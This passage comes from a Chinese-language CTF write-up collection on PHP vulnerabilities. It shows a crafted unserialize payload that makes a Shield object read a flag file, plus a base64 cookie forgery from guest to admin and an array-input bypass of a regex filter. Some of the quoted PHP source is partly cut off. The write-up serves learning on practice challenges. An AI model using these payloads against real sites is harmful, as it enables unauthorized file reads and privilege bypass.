比较为什么返回true?](https://zhidao.baidu.com/question/336186893.html) 407 | 408 | ## 26 unserialize()序列化 409 | 410 | 说明`flag`在`pctf.php`,但`showimg.php`中不允许直接读取`pctf.php`,只有在`index.php`中可以传入变量`class` 411 | ,`index.php`中`Shield`类的实例`$X = unserialize($g)`,`$g = $_GET['class'];`,`$X`中不知`$filename`变量,但需要找的是:`$filename = "pctf.php"`,现`$X`已知,求传入的`class`变量值。 412 | 可以进行序列化操作: 413 | ``` 414 | 415 | 423 | 424 | 425 | file = $filename; 431 | } 432 | 433 | function readfile() { 434 | if (!empty($this->file) && stripos($this->file,'..')===FALSE 435 | && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { 436 | return @file_get_contents($this->file); 437 | } 438 | } 439 | } 440 | ?> 441 | 442 | ``` 443 | 得到: 444 | `O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}` 445 | 构造: 446 | `http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}` 447 | 448 | ## 30 利用提交数组绕过逻辑 449 | 450 | 首先是给了一个页面,提示 `Sorry. You have no permissions.`。 451 | 452 | 查看 cookie 发现是 base64 。解密之后替换中间的 `guest` 为 `admin` 绕过登陆限制。 453 | 454 | 这段代码首先会查看提交的请求中是否存在 `<>` 如果没有则将传入的数据(如果是数组)转化为字符串。如果其中存在 `<>` 则将flag生成在一个随机命名的文件中。 455 | `implode()` 这个函数需要传入数组,如果传入的是字符串将报错,变量 `$s` 自然也就没有值。 456 | 457 | if($auth){ 458 | if(isset($_POST['filename'])){ 459 | $filename = $_POST['filename']; 460 | $data = $_POST['data']; 461 | if(preg_match('[<>?]', $data)) { 462 | die('No No No!'); 463 | } 464 | else { 465 | $s = implode($data); 466 | if(!preg_match('[<>?]', $s)){ 467 | $flag="None."; 468 | } 469 | $rand = rand(1,10000000); 470 | $tmp="./uploads/".md5(time() + $rand).$filename; 471 | file_put_contents($tmp, $flag); 472 | echo "your file is in " . $tmp; 473 | } 474 | } 475 | else{ 476 | echo "Hello admin, now you can upload something you are easy to forget."; 477 | echo "
there are the source.
"; 478 | echo ''; 481 | } 482 | } 483 | 484 | ![](img/30_1.png) 485 | 486 | 想要通过Post请求的形式传入数组可以使用 `data[0]=123&data[1]=<>` 的形式传入数组,这样的话在执行 `implode()` 函数的时候就不会使 `&s` 为空,成功绕过这段逻辑拿到flag。 487 | 488 | ![](img/30_2.png) 489 | -------------------------------------------------------------------------------- /img/24_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bowu678/php_bugs/3a5270e0a4c2acf49d58f154aa6de3908a2531dd/img/24_1.png -------------------------------------------------------------------------------- /img/30_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bowu678/php_bugs/3a5270e0a4c2acf49d58f154aa6de3908a2531dd/img/30_1.png -------------------------------------------------------------------------------- /img/30_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bowu678/php_bugs/3a5270e0a4c2acf49d58f154aa6de3908a2531dd/img/30_2.png --------------------------------------------------------------------------------